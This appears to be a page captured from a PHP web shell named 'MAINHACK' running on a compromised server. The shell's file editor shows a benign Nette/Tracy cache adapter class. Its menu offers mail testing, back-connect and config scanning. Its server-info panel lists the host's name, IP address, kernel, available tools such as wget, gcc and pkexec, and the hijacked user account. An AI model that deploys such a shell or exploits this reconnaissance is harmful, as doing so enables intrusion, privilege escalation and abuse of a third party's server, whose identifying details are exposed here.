[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PsrCacheAdapter.php
<?php /** * This file is part of the Tracy (https://tracy.nette.org) * Copyright (c) 2004 David Grudl (https://davidgrudl.com) */ declare(strict_types=1); namespace Nette\Bridges\Psr; use DateInterval; use Nette; use Psr; class PsrCacheAdapter implements Psr\SimpleCache\CacheInterface { public function __construct( private Nette\Caching\Storage $storage, ) { } public function get(string $key, mixed $default = null): mixed { return $this->storage->read($key) ?? $default; } public function set(string $key, mixed $value, null|int|DateInterval $ttl = null): bool { $dependencies = []; if ($ttl !== null) { $dependencies[Nette\Caching\Cache::Expire] = self::ttlToSeconds($ttl); } $this->storage->write($key, $value, $dependencies); return true; } public function delete(string $key): bool { $this->storage->remove($key); return true; } public function clear(): bool { $this->storage->clean([Nette\Caching\Cache::All => true]); return true; } /** * @return \Generator<string, mixed> */ public function getMultiple(iterable $keys, mixed $default = null): \Generator { foreach ($keys as $name) { yield $name => $this->get($name, $default); } } /** * @param iterable<string|int, mixed> $values */ public function setMultiple(iterable $values, null|int|DateInterval $ttl = null): bool { $ttl = self::ttlToSeconds($ttl); foreach ($values as $key => $value) { $this->set((string) $key, $value, $ttl); } return true; } public function deleteMultiple(iterable $keys): bool { foreach ($keys as $value) { $this->delete($value); } return true; } public function has(string $key): bool { return $this->storage->read($key) !== null; } private static function ttlToSeconds(null|int|DateInterval $ttl = null): ?int { if ($ttl instanceof DateInterval) { return self::dateIntervalToSeconds($ttl); } return $ttl; } private static function dateIntervalToSeconds(DateInterval $dateInterval): int { $now = new \DateTimeImmutable; $expiresAt = $now->add($dateInterval); return $expiresAt->getTimestamp() - $now->getTimestamp(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.51 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002